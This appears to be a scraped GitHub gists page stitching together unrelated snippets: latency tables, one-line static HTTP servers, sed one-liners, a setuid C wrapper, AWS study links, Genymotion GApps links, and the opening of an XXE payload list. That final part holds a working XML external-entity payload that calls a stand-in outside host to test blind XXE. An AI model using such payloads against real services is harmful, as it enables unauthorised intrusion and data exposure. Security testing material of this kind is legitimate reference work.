Alcides Morales Guedes alcidesmorales

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

The introduction to Reactive Programming you've been missing

(by @andrestaltz)

This tutorial as a series of videos

If you prefer to watch video tutorials with live-coding, then check out this series I recorded with the same contents as in this article: Egghead.io - Introduction to Reactive Programming.

A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.

	Latency Comparison Numbers (~2012)
	----------------------------------
	L1 cache reference 0.5 ns
	Branch mispredict 5 ns
	L2 cache reference 7 ns 14x L1 cache
	Mutex lock/unlock 25 ns
	Main memory reference 100 ns 20x L2 cache, 200x L1 cache
	Compress 1K bytes with Zippy 3,000 ns 3 us
	Send 1K bytes over 1 Gbps network 10,000 ns 10 us
	Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD

	#include <unistd.h>
	#include <errno.h>

	main( int argc, char argv, char envp )
	{
	if( setgid(getegid()) ) perror( "setgid" );
	if( setuid(geteuid()) ) perror( "setuid" );
	envp = 0; /* blocks IFS attack on non-bash shells */
	system( "/path/to/bash/script", argv, envp );
	perror( argv[0] );


	FILE SPACING:

	# double space a file
	sed G

	# double space a file which already has blank lines in it. Output file
	# should contain no more than one blank line between lines of text.
	sed '/^$/d;G'

	// Just before switching jobs:
	// Add one of these.
	// Preferably into the same commit where you do a large merge.
	//
	// This started as a tweet with a joke of "C++ pro-tip: #define private public",
	// and then it quickly escalated into more and more evil suggestions.
	// I've tried to capture interesting suggestions here.
	//
	// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
	// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,

	NOTE: Easier way is the X86 way, described on https://www.genymotion.com/help/desktop/faq/#google-play-services

	Download the following ZIPs:

	ARM Translation Installer v1.1 (http://www.mirrorcreator.com/files/0ZIO8PME/Genymotion-ARM-Translation_v1.1.zip_links)

	Download the correct GApps for your Android version:
	Google Apps for Android 6.0 (https://www.androidfilehost.com/?fid=24052804347835438 - benzo-gapps-M-20151011-signed-chroma-r3.zip)
	Google Apps for Android 5.1 (https://www.androidfilehost.com/?fid=96042739161891406 - gapps-L-4-21-15.zip)
	Google Apps for Android 5.0 (https://www.androidfilehost.com/?fid=95784891001614559 - gapps-lp-20141109-signed.zip)

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>